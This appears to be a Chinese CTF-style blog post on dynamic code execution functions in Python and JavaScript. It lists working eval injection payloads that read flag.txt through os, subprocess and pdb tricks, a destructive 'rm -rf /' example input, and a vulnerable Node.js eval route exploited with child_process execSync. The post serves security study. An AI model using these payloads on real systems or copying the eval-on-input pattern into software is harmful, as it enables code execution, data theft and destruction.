Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

动态代码执行函数

在编程语言中,动态代码执行是指在程序运行时,根据接收到的字符串动态地将其当作代码来执行。虽然这种功能在某些场景下非常灵活(例如动态生成代码、运行用户输入),但它也带来了巨大的安全隐患。攻击者可以通过恶意输入注入代码,进而控制系统或窃取敏感信息。

我们下面看一下不同语言(如 Python、PHP、JavaScript)中常用的动态代码执行函数及其风险。

Python

eval()

用途eval() 会将传入的字符串当作 Python 表达式来执行。

安全隐患:如果用户输入未经验证的字符串传给 eval(),攻击者可以执行任意代码。

例子:

1
2
3
result = eval(input("Enter a math expression: "))

print(result)

那么当我们输入

1
os.system('rm -rf /') 

时会导致删除系统文件。

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
open('flag.txt').read()

__import__('os').popen('cat flag.txt').read()

__import__('os').system('cat flag.txt')

exec("__import__('os').system('cat flag.txt')")

getattr(__import__('os'), 'system')('cat flag.txt')

__import__('builtins').open('flag.txt').read()

globals()['__builtins__'].__dict__['open']('flag.txt').read()

globals()['__builtins__'].open('flag.txt').read()

__import__('subprocess').check_output(['cat', 'flag.txt'])


__import__('sh').cat('flag.txt') # 需要安装了sh库
sh.cat('flag.txt') # 需要安装了sh库


(看情况在flag.txt前面加上/或者../

也可以利用breakpoint()(Python3.7+ 中的调试工具,可以直接启动交互式调试器(比如 pdb)):

1
2
3
breakpoint()
# 然后在pdb的提示符出来后输入
!print(open("flag.txt").read())

! 会让 pdb 执行一条普通 Python 语句。

特殊情况也可以使用:

1
2
3
4
eval(input("Enter: "))

#然后输入
__import__('os').system('cat flag.txt')

注意,这里的第一行代码的eval()是额外输入的,并不是指程序原本的。这点非常重要,不多输入一个eval()会失败。区别:

1
2
3
4
5
6
7
8
>> eval(input("Enter: "))
Enter: __import__('os').system('cat flag.txt')
flag{fake_flag}
eval(input("Enter: ")) --> 0

>> input("Enter: ")
Enter: __import__('os').system('cat flag.txt')
input("Enter: ") --> __import__('os').system('cat flag.txt')

exec()

compile()

相比前两个会安全很多。

例子:

1
2
3
user_input = "os.system('rm -rf /')"  # 恶意输入
code = compile(user_input, "<string>", "exec")
exec(code) # 执行了恶意代码

因为只有当我们能通过输入控制compile()的三个参数时才可以进行RCE攻击。

PHP

eval()

JavaScript

eval()

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
router.post('/api/calculate', (req, res) => {
let { formula } = req.body;

if (formula) {
result = Calculator.calculate(formula);
return res.send(response(result));
}

return res.send(response('Missing parameters'));
});

module.exports = {
calculate: function(formula) {
try {
return eval(`(function() { return ${formula}; })()`); // 漏洞所在
} catch (e) {
if (e instanceof SyntaxError) {
return 'Something went wrong!';
}
}
}
};

所以当输入

1
global.process.mainModule.require('child_process').execSync('cat /flag.txt').toString()

时可以成功读取flag。